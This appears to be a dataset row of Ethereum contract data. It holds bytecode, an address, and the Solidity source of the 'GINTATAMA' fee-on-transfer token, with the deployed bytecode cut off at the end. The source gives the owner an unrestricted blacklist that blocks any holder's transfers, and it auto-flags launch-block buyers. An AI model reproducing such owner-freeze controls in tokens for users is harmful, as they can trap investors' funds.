5a9e3b01097f079fd6f5f9b042ece36af6b10eae2eef9de9c9dd18752eb66868a0c301015dd90191508083828584878689888b8a8d8c8f8f097f01958435eb08883bd69b6a56a8f3103c22f8ae206a3d4deaf4a04118b4dd6a6c01097f0329230075f64ffbf631eb0c40b97d71b4dc38a08bd18b638f57e5644680068c01097f0219557f1604be8622e697e986c03d2a49e40cce558a264bf4f1ebe06493eceb01097f07238f034b8c57c8b59b0f744ababf9da8229152a051d4f3b3c4995233ac111101097f0201019c76d9aa29a00e6b18a4eeac7b1322b44285c57cf4c0b68a87120b1d3101097f069d95f3c7892a1cf65b45c324be2294c4c5459e05e0feaa0b8bb98cd8bc958f01097f078aafbe80fa5ee9a846e991bf35b81567a6dcbb1b190e7ee47e53fc66422e840191508083828584878689888b8a8d8c8f8f097f015ba3c5a882d4dfe3e23db18368ade6b2d10ef52e34f12ce0d62e7183c10f7e01097f01a4bdaf2bff969eff8cef73e762b6346492b8d0f17b2e42956c526f625241ea01097f04adaabee9ab3c6ee7fc67a2ddc09c5185755dcc76cc3b814a6b71aa7ae542ea01097f02f47cde744314dc0502faffb0387a2e765e4354b0516ee9ab0b97a1b6c33ec201097e90b2b18b3fc2919a55b71ad6d6fa67dda752bd02c985b59e6554f557fe4a2e01097f06eba866251e1dca38a21c8b3fad0aa3c22a45dd89884c4c68bd7ef67de64f5201097eb8dd33ef8726747fb368aedf80c2f4a720bc1b5220f4a3f0e56e2fafb7e2430191508083828584878689888b8a8d8c8f8f097f01fac2f441d05a3b483675200cb1ebc6f4ca6ecc5ae60118fe8745f95217bf8b01097f06d28879c6f75c4ede18e1b94ffff964d08c79038fd9ba2e7873cbefb5f323db01097f028b38e0334fc06af4c94ec4f9434923d4149cc51817526597423fd4692c59ad01097e84add7269e2e41ea57aaed996f4c012ba7003ea2b994670cc0d554b7a8bd2a01097f064d672ca00300ddd5e9c9d2db433d7623bb54c8eb2db51b235a07616f1517e501097f07f71cb5526600d15d3413ec971ee3b133718224b3cbdc68171a53d7c868438201097f038e5702bb10256e1856a5bfb03a06b231b89a36e2f84af80bcd2d027153d8470191508083828584878689888b8a8d8c8f8f097f01a8d4b2044b8e03b325c353f3f92283013920b92f479064b6e93159d2ed3ba001097f068384718bd3bb23f32999f1edcb2dbddd8136259e676c4492d0cafe80ffd85601097f031a77aa370bb597dbdd0422612a7dd947aae09a5b0b17d1996f13a85103d15001097f040a9cea0394d15ef057c2923d4185f290fe2347e00529d92f927ef506e3b5e701097f02a427d70a34b6b5237894f065ef5d60a9872ba444d47d98648b080b8ddb2a6801097ee505592d606917f898c54a7afc45b328be3cd48121aee2e8f05185a3e23e5f01097f045b4e74f19b293bc3d3d172a101e344558fcf4ccfe5eecefe31f45a45614df70191508083828584878689888b8a8d8c8f8f097f068486394265c9dc8fae42c8fd39605d3179c981cb44cbe33740a3deb907bc5901097f02868a08eae382c069047152ee964ac5ebd242b44267e97e578802440ef764f501097f03159144c85f2c515eb806e5aedd908553057b69c556d226adc6e4511a35423c01097f04387edee6899d4a85883d2f8524978a4634ff82779f150b7b0c861bb315ed3f01097e68c5830832f6270a189b074d7675fcbc1d1c5cc06ce9c478bf8f4d5ac1bf4001097f0399c00b8ebb398248bb1f52528d5241e7366b73c2d89f57a11dc82c530cc57c01097f03238aeb8f6bea8bcaaa1bdd5b4f917ccfad8eab031785ccdc648b47d7ea4be80191508083828584878689888b8a8d8c8f8f097f0357bf5d87c973292381fa4320114551a837a1d6cb6e2bb0eeba534fb2e0174201097f0360274f27df6eeec0b7b65fbb227a8214ac3e55cb37b1970e18489ef5b574e101097f01cb6e2fba23730f5bf9d8e726569b6e8bf6b5ffe8520339503c5469cc3713a201097f03924324af1994280f87f289fdae0b9a2d8cb9914ec37d319c18daf02921181501097f03c4ad04a5a057e4411487858dbe16af8e3fc065ef7400749ffdc248bdb25bc501097f050c92b3e6848a21001be2a268615e1e26cb4918ecb09640efaaf1d8b71568fb01097f047d21828025d0cbab84084965a49dd14c7833aac562b55de808a94777df2ea30191508083828584878689888b8a8d8c8f8f097f06207c6a2fd70c19a10430566c9efaad95eab8cbddf308f0057c81f3155a25a001097f02d4acebd804035257147ad8d8419a5f5762b4b543c4846ef9acf41856e672ee01097f078f49c214872b5cce18ead0207a165fb741ea818a69cfe9647737323f70f4f501097f022aa8c5c5ff26f9a0edc768ae32ff4f71a71205b4e83cfa0cc687a1e02566ba01097f05dd2e0680c7eff25211f31d3c30a9f454500d6eb09d46d87a75a42b190203cb01097f05ac4bcdb9c14634ab83c13a30822ddbabc54248cf1177b11cc2aed24d2d32f501097e77dee5f03389585fad0d1f2a8accfa4cb985344891b8befaee42f3462cb48a0191508083828584878689888b8a8d8c8f8f097e0737dba18eb055a12d842bfae32fd146dcd2d7bb932a2591aa864458d6d65201097f023bf372b0b59abf250463697ef4b2096eb1c9674613918b4d0c79aa10d9fd5901097f073724274fdd351c378e597da1615dc51058e14994464cb7b318766199ac2a3501097f02e14e83be58cde3ed5f3fec8ba6462493a4a2f0f7d6c846006220eccd49ef2501097f04846d310812d81ffda3731e8289005e2f0e05411e76b1c84332c3ee9e831afb01097f0160abeb38bc4f22af5fe618c19c77c39903007900722bdbdeaee059f31544c801097f0264a535ae10091157ed59b04955dff66897af74cae20456bb830336b803ae470191508083828584878689888b8a8d8c8f8f097e316ce6b23e720b8302e2d4bd968c0f140f69930e46a54784a7cee7e0b8a0c801097f0775d95a0beb287c98663a3f9a9c577ffc67c1fe6fbe2db5b08829a2c3eac92201097f02353c4a418bdc1e461be162140cc69c26eb9d99f08924991f85058f87f6df4101097f0181ef9cde124459dc0e2aaf93512abd49a10328fb93dfc4d49ab671db64bbc401097e7ff76956e0cd2b490b47a0a0497df5f874cf47f54c45f08101256429b4846001097f0318e5a52d685eaa06e0f39159a344b3d97b52688b671d133954aeff0bc1770701097f07616cfc6834643d4b95ed1cfec036f816a7c3d3b9800f301f98ddf341712ebf0191508083828584878689888b8a8d8c8f8f097f059869515fb57ea7733567e5d849bcaa00c00e0f86f4ebbd2c7a6f4c0c77692b01097eb806f4e19770279fab5427b8eaf5bc68bf984d6ccea1e878a7aaf32c9975d901097f04fb0c93fe30da048576fe5e839483636218dfdda3d05f1d68847a4c0167597f01097f0685af2d7bbf30cd0c5c3d41c430a8657eeafeeb4596165faaa73d802087ad8001097f06f617dce150ea148cb8c7488fe4caa920b2000bc8122cce1891e4b76cddc9d401097f047f02fc512b153462379f4f793c7cab9e659bfdb07d3439d29039f566b7236d01097f04ce0a14a5a9c30a38062eb8870eeb4ff3562db743c0f3eede2e3d3862a2eb7c0191508083828584878689888b8a8d8c8f8f097f07b077d27c7007656025224fa4e528b4c4261f43c3da1e42bd1349403af55cbb01097f050f5f6adbf0b9abc6e231b855018f4ec806a4f199cc511bed5c423ebef298e401097f05fcfeb78685abb1ce610e516ab7e2aa210fd90844c8d1c89cd798f3d71bbcb301097f04255a568f4597862e1dfe0c391b97059d179d7eb4d868f61364835e5028f9dd01097f0206d7f23d0fe1b1c0967486ebb792d7fdf5b1691d2c2f9306e211d3b849526b01097ec61c74cc988663ee09f4c725d5b1f04549bd342d3550ce17427ac75592b63701097f0175a904681c7a91856bf7fcf8410d2c19eb8705267914489664a1ea2af5b8fe0191508083828584878689888b8a8d8c8f8f097f01bd842a4ec97e1489ceb542bd3161e5a00ce431547bfadfbced954d993b0a1101097f014899e0f97aac917d46ce5e9ddf11194fb846d2c52726af4085f27c570a98a901097e842955243a56778a332ba9be0b22b2af62efaa50068d3078675fb76c225e7601097f06dff267c3bbce68474294da908df4f5cf2a4160c638f7cb45c098057e968f4401097f072c0dd24a576b47a84cdd1a20227773b5621f85b781c288625e3368e1cf738a01097f0728771890334d0c9b0f400543bdc13ea6890497bc87c509a04f8014916c13a501097f030632b3865a272a1a00270430744ee90b40ff16e1fc44515876ce8e36215ca00191508083828584878689888b8a8d8c8f8f097f076d656560dac569683063278ea2dee47d935501c2195ff53b741efe8150989201097f01dbdc2ea2e555309578eeb2352fbc47c8fd5ed77cc09903b577700f9a4d1be101097f0119bcf6402ad9953851bac8e318d50af699b0cc75e2597aff0a2cc521975aa401097f07c3234094dff9a45064a5b9abd0667c04dd76c62722984f7f8475e7cc344c0601097f01495d40cf3f13c5fc90653c2b2f02e0b833790c07576286d3127f745ea920ae01097f040f019a18b8097235264cb8efee7d149321a199ccd32ffac43b5a778dfadda101097f04e23809ce49747990e43b2d976083dc84d67e75cf22e5a76ad5b7a2dca50b3d0191508083828584878689888b8a8d8c8f8f097f07f0a3bec1d34f2fd632993a3d9c6432401cec25ad9d6196b909f3672980bd0501097e9460aa25f77fc10cfcc4579e2011e39ce477a32a768aa553201e556ed2bbe101097e611384709c407d85c93256b6aff04c4ac515450c70cf507994165abfe2347b01097f02065bc7a4aa38d5fe86f9b593ccd060f8d4a5a19a9ca8b182c32199a4bd27be01097e9969a08d753e885857a5696d1cafd39f62bb193acc99089df76c240acd2fc001097f06df73a948c95439f3230282814ba7e26203cfdc725901e4971ad9cff4db439601097f01cdf0446663046f35c26d51e45a5233a93c51f4f7f1985dfe130dd67addefa30191508083828584878689888b8a8d8c8f8f097f059cbe680183d1dc3161ee7f945f38ab9461a5293748b2b7be84899e62c9860b01097f05030fda0c29a929e6cd634b9f3d1bf975c363012cfb439cae13495f8ce1022501097f049aadcf98ef59c0e5d2097845949988862b96194abc8c5453f056f23248289201097f0319c68159cdf104c2543486ff784860f302187d77effb9a5fefe4e16f0ddc2c01097f0575531b404cdba72a63dbbd17aef7d9ae00f73eca7c6dcdaf5e0778c921be4101097f035ca7fa56aa38486833a976804899ba3c97fdaa0a23056cd2dc9bfdbcdd2e3101097f047dc0e209ee8d0b67f63d9e63837ff2ab462c4839bc14a1a3e802327ff0e31f019150808382858487868989097f0744bdf0c2894072564f6eca2d26efc03ef001bc6e78b34bf6be3a1a91fd90fc01097f073c57ecea0c64a9bc087e50a97a28df974b294c52a0ef5854f53f69ef6773af01097f07dd14b0299ff6064a96fe97e086df3f64a4c7e8b4a58a5bd5fe1b9cf7c61e7c01097f0562f636b49796e469dfe9e6748c4468f340e8f69e3f79cfe6925a261198dbb30191508082816125d857fe5b06939250505056fea265627a7a723158200912807f13e06e789d5cd42c405b2fb6c469db45d67c873ba12e68b237bea17b64736f6c634300050f0032 | {"success": true, "error": null, "results": {}} | 906 |
0xf20a560640c6ebbe04be436484fdc92a5446a851 | // SPDX-License-Identifier: Unlicensed
//Telegram: t.me/gintatama
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract GINTATAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Gintatama";
string private constant _symbol = "GINTATAMA";
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxTxnAmount = 2;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
bool private _txnLimit = false;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _txnLimit) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(_maxTxnAmount).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initNewPair(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function startTrading() external onlyOwner() {
require(_initialized);
_tradingOpen = true;
_launchTime = block.timestamp;
_txnLimit = true;
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function enableTxnLimit(bool onoff) external onlyOwner() {
_txnLimit = onoff;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee < 12);
_teamFee = fee;
}
function setMaxTxn(uint256 max) external onlyOwner(){
require(max>2);
_maxTxnAmount = max;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
} | 0x6080604052600436106101855760003560e01c806370a08231116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e146104a0578063e6ec64ec146104e6578063f2fde38b14610506578063fc588c041461052657600080fd5b8063a9059cbb14610440578063b515566a14610460578063cf0848f71461048057600080fd5b806370a0823114610371578063715018a6146103915780637c938bb4146103a65780638da5cb5b146103c657806390d49b9d146103ee57806395d89b411461040e57600080fd5b8063313ce5671161013e5780633bbac579116101185780633bbac579146102ca578063437823ec14610303578063476343ee146103235780635342acb41461033857600080fd5b8063313ce5671461027657806331c2d8471461028a5780633a0f23b3146102aa57600080fd5b806306d8ea6b1461019157806306fdde03146101a8578063095ea7b3146101ec57806318160ddd1461021c57806323b872dd14610241578063293230b81461026157600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610546565b005b3480156101b457600080fd5b5060408051808201909152600981526847696e746174616d6160b81b60208201525b6040516101e3919061195c565b60405180910390f35b3480156101f857600080fd5b5061020c6102073660046119d6565b610592565b60405190151581526020016101e3565b34801561022857600080fd5b50670de0b6b3a76400005b6040519081526020016101e3565b34801561024d57600080fd5b5061020c61025c366004611a02565b6105a9565b34801561026d57600080fd5b506101a6610612565b34801561028257600080fd5b506009610233565b34801561029657600080fd5b506101a66102a5366004611a59565b610678565b3480156102b657600080fd5b506101a66102c5366004611b1e565b61070e565b3480156102d657600080fd5b5061020c6102e5366004611b40565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561030f57600080fd5b506101a661031e366004611b40565b61074b565b34801561032f57600080fd5b506101a6610799565b34801561034457600080fd5b5061020c610353366004611b40565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561037d57600080fd5b5061023361038c366004611b40565b6107d3565b34801561039d57600080fd5b506101a66107f5565b3480156103b257600080fd5b506101a66103c1366004611b40565b61082b565b3480156103d257600080fd5b506000546040516001600160a01b0390911681526020016101e3565b3480156103fa57600080fd5b506101a6610409366004611b40565b610a86565b34801561041a57600080fd5b5060408051808201909152600981526847494e544154414d4160b81b60208201526101d6565b34801561044c57600080fd5b5061020c61045b3660046119d6565b610b00565b34801561046c57600080fd5b506101a661047b366004611a59565b610b0d565b34801561048c57600080fd5b506101a661049b366004611b40565b610c26565b3480156104ac57600080fd5b506102336104bb366004611b5d565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104f257600080fd5b506101a6610501366004611b96565b610c71565b34801561051257600080fd5b506101a6610521366004611b40565b610cad565b34801561053257600080fd5b506101a6610541366004611b96565b610d45565b6000546001600160a01b031633146105795760405162461bcd60e51b815260040161057090611baf565b60405180910390fd5b6000610584306107d3565b905061058f81610d81565b50565b600061059f338484610efb565b5060015b92915050565b60006105b684848461101f565b610608843361060385604051806060016040528060288152602001611d2a602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611445565b610efb565b5060019392505050565b6000546001600160a01b0316331461063c5760405162461bcd60e51b815260040161057090611baf565b600d54600160a01b900460ff1661065257600080fd5b600d805460ff60b81b1916600160b81b17905542600e55600f805460ff19166001179055565b6000546001600160a01b031633146106a25760405162461bcd60e51b815260040161057090611baf565b60005b815181101561070a576000600560008484815181106106c6576106c6611be4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061070281611c10565b9150506106a5565b5050565b6000546001600160a01b031633146107385760405162461bcd60e51b815260040161057090611baf565b600f805460ff1916911515919091179055565b6000546001600160a01b031633146107755760405162461bcd60e51b815260040161057090611baf565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600b5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561070a573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546105a39061147f565b6000546001600160a01b0316331461081f5760405162461bcd60e51b815260040161057090611baf565b6108296000611503565b565b6000546001600160a01b031633146108555760405162461bcd60e51b815260040161057090611baf565b600d54600160a01b900460ff16156108bd5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610570565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610914573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109389190611c2b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610985573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a99190611c2b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109f6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1a9190611c2b565b600d80546001600160a01b039283166001600160a01b0319918216178255600c805494841694821694909417909355600b8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610ab05760405162461bcd60e51b815260040161057090611baf565b600b80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061059f33848461101f565b6000546001600160a01b03163314610b375760405162461bcd60e51b815260040161057090611baf565b60005b815181101561070a57600d5482516001600160a01b0390911690839083908110610b6657610b66611be4565b60200260200101516001600160a01b031614158015610bb75750600c5482516001600160a01b0390911690839083908110610ba357610ba3611be4565b60200260200101516001600160a01b031614155b15610c1457600160056000848481518110610bd457610bd4611be4565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c1e81611c10565b915050610b3a565b6000546001600160a01b03163314610c505760405162461bcd60e51b815260040161057090611baf565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610c9b5760405162461bcd60e51b815260040161057090611baf565b600c8110610ca857600080fd5b600855565b6000546001600160a01b03163314610cd75760405162461bcd60e51b815260040161057090611baf565b6001600160a01b038116610d3c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610570565b61058f81611503565b6000546001600160a01b03163314610d6f5760405162461bcd60e51b815260040161057090611baf565b60028111610d7c57600080fd5b600a55565b600d805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dc957610dc9611be4565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e469190611c2b565b81600181518110610e5957610e59611be4565b6001600160a01b039283166020918202929092010152600c54610e7f9130911684610efb565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610eb8908590600090869030904290600401611c48565b600060405180830381600087803b158015610ed257600080fd5b505af1158015610ee6573d6000803e3d6000fd5b5050600d805460ff60b01b1916905550505050565b6001600160a01b038316610f5d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610570565b6001600160a01b038216610fbe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610570565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110835760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610570565b6001600160a01b0382166110e55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610570565b600081116111475760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610570565b6001600160a01b03831660009081526005602052604090205460ff16156111ef5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610570565b6001600160a01b03831660009081526004602052604081205460ff1615801561123157506001600160a01b03831660009081526004602052604090205460ff16155b80156112475750600d54600160a81b900460ff16155b80156112775750600d546001600160a01b03858116911614806112775750600d546001600160a01b038481169116145b1561143357600d54600160b81b900460ff166112d55760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610570565b50600d546001906001600160a01b0385811691161480156113045750600c546001600160a01b03848116911614155b80156113125750600f5460ff165b15611363576000611322846107d3565b905061134c6064611346600a54670de0b6b3a764000061155390919063ffffffff16565b906115d2565b6113568483611614565b111561136157600080fd5b505b600e54421415611391576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061139c306107d3565b600d54909150600160b01b900460ff161580156113c75750600d546001600160a01b03868116911614155b1561143157801561143157600d546113fb9060649061134690